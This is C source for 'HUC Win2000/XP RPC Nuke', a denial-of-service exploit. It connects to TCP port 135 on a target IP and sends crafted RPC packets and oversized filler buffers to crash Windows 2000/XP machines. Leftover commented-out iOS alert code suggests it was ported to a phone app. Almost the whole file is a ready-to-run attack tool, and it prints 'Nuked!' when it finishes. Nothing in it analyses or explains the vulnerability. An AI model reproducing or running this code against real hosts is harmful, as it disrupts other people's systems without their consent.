#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#define INVALID_SOCKET -1


char sendcode1[] = 
	"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
	"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
	"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
	"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
	"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
	"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";

char sendcode2[] = 
	"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";

char sendcode3[] = 
	"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";

char sendcode4[] = 
	"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" 
	"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x50\x10\x01\x00\x00\x00\x02\x00";

char sendcode5[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x80\xf9\x00\x00\x00\x00\x02\x00";

char sendcode6[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\xb0\xe2\x00\x00\x00\x00\x02\x00";

char sendcode7[] = 
	"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
	"\x60\x15\x00\x00\x00\x00\x02\x00";

char sendcode8[] = 
	"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";

int winnukexp_main(char *argv[])
{
	int argc = 2;
	struct hostent 		*pTarget;
	struct sockaddr_in 	sock;
	char *targetip;
	int port,bufsize;
	int s;
	char buffer[20480];

	printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\n");


	if (argc < 2)
	{
		printf("Usage:\n");
		printf("    %s <TargetIP> [TargetPort]\n", argv[0]);
		printf("Example:\n");
		printf("    %s 192.168.0.1\n", argv[0]);
		printf("    %s 192.168.0.1 135\n", argv[0]);
		printf("PS:\n");
		printf("    If target is XP, try 2 times.\n");
		//exit(1);
		return 1;
	}

	targetip = argv[1];
	port = 135;
	//if (argc >= 3) port = atoi(argv[2]);
	bufsize = 512;
	//if (argc >= 4) bufsize = atoi(argv[3]);

	s = socket(AF_INET, SOCK_STREAM, 0);
	if(s==INVALID_SOCKET)
	{	
	
	//NSAutoreleasePool *pool = [NSAutoreleasePool new];
//	UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Nuke Failed" message:@"Socket error!" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
//		[_infoSheet show];
//	[pool release];

		printf("Socket error!\n");
		//exit(1);
				return 1;

	}
	
	printf("Target IP = %s\n", targetip);

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(targetip)) == NULL)
	{
		//NSAutoreleasePool *pool = [NSAutoreleasePool new];
//		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Nuke Failed" message:[NSString stringWithFormat:@"Resolve of %s failed, please try again.", argv[1]] delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
//		[_infoSheet show];
//		[pool release];

		printf("Resolve of %s failed, please try again.\n", argv[1]);
		//exit(1);
				return 1;

	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	printf("Connecting...\n");
	if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
	{
	//NSAutoreleasePool *pool = [NSAutoreleasePool new];
//		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Nuke Failed" message:[NSString stringWithFormat:@"Couldn't connect to host.", argv[1]] delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
//		[_infoSheet show];
		//[pool release];	printf("Couldn't connect to host.\n");
				return 1;//exit(1);
	}

	printf("Connected!...\n");
	printf("Sending Packets...\n");
	if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
	{
		printf("Error sending nuke Packets\n");
	
		return 1;//exit(1);
	}

	memset(&buffer, '\x41', 240);
	send(s, buffer, 240, 0);

	send(s, sendcode2, sizeof(sendcode2)-1, 0);
	memset(&buffer, '\x42', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode3, sizeof(sendcode3)-1, 0);
	memset(&buffer, '\x43', 512);
	send(s, buffer, 512, 0);
	
	send(s, sendcode4, sizeof(sendcode4)-1, 0);

	memset(&buffer, '\x44', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode5, sizeof(sendcode5)-1, 0);
	memset(&buffer, '\x45', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode6, sizeof(sendcode6)-1, 0);
	memset(&buffer, '\x46', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode7, sizeof(sendcode7)-1, 0);
	memset(&buffer, '\x47', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode8, sizeof(sendcode8)-1, 0);
	memset(&buffer, '\x48', 5000);
	send(s, buffer, 5000, 0);

	printf("Nuked! \r\nIf target is XP, try a again! :)\r\n");
	
	return 0;
}
